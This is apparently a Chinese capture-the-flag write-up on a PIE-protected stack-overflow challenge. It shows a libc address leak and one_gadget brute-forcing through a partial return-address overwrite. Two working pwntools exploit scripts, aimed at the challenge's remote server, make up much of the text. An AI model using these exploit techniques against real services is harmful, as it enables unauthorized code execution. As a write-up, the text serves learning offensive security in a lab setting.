[栈溢出]PIE保护下onegadget提权与libc地址爆破


题目只给了一次输入机会
栈溢出点在136位之后
之后有个puts函数可以泄露一点栈上的东西
在本地调试

溢出返回位于libc领空
本地调试使用的libc与服务器不一样
查看本地libc 中__libc_start_main+235 是什么东西

是__libc_start_main+235函数的后部 退出函数
泄露一下远程服务器的返回地址
#coding:utf-8
from pwn import *
#context.log_level = 'debug'
p=remote("nc.eonew.cn",10004)
p.sendline('a'*136)
p.recv(136)
addr=u64(p.recv().ljust(8,'\x00'))
print hex(addr)
p.interactive()
结尾是b97的libc地址
查看题目所给的libc,结合本地调试经验,从__libc_start_main函数下手

也是这几句指令
同样在libc上
由于程序开启PIE,且只有一次输入机会,我们没有机会劫持控制流进行代码复用
找了几个onegadget尝试爆破
one_gadget_addr=0x10a38c one2=0x4f2c5 one3=0x4f322
三个onegadget选择一个
只有后三位是确定的,而前几位只能爆破
#coding:utf-8
from pwn import *
vsyscall=0xffffffffff600000
#context.log_level = 'debug'
i=1
while(1):
one_gadget_addr=0x10a38c
one2=0x4f2c5
one3=0x4f322
libc_base=-0x4f440
#p=process("/root/桌面/./easy_stack")
p=remote("nc.eonew.cn",10004)
#attach(p,"b puts")
#p.sendline('a'*136+'\xb0\x1a')
p.sendline('a'*136+'\xc5\xf2\x14')
#p.sendline('a'*136+'\x22\xf3\x04')
#p.sendline('a'*136+'\x8c\xa3\x10')
#p.sendline('a'*136+'\xd0\x1a')
#print 'a'*126
#attach(p,"b puts")
p.recv(136)
addr=u64(p.recv().ljust(8,'\x00'))
print hex(addr)+' '+str(i)
i=i+1
try:
p.recv(timeout=1)
p.recv(timeout=1)
except EOFError:
p.close()
continue
#p.close()
p.interactive()需要爆破三位十六进制数组,由于服务器每次都会变,脚本干脆不变了,爆破失败程序会退出,当recv()触发EOFerror时认为爆破失败,继续下一轮
最大爆破次数为16^3=4096次
398次爆破成功
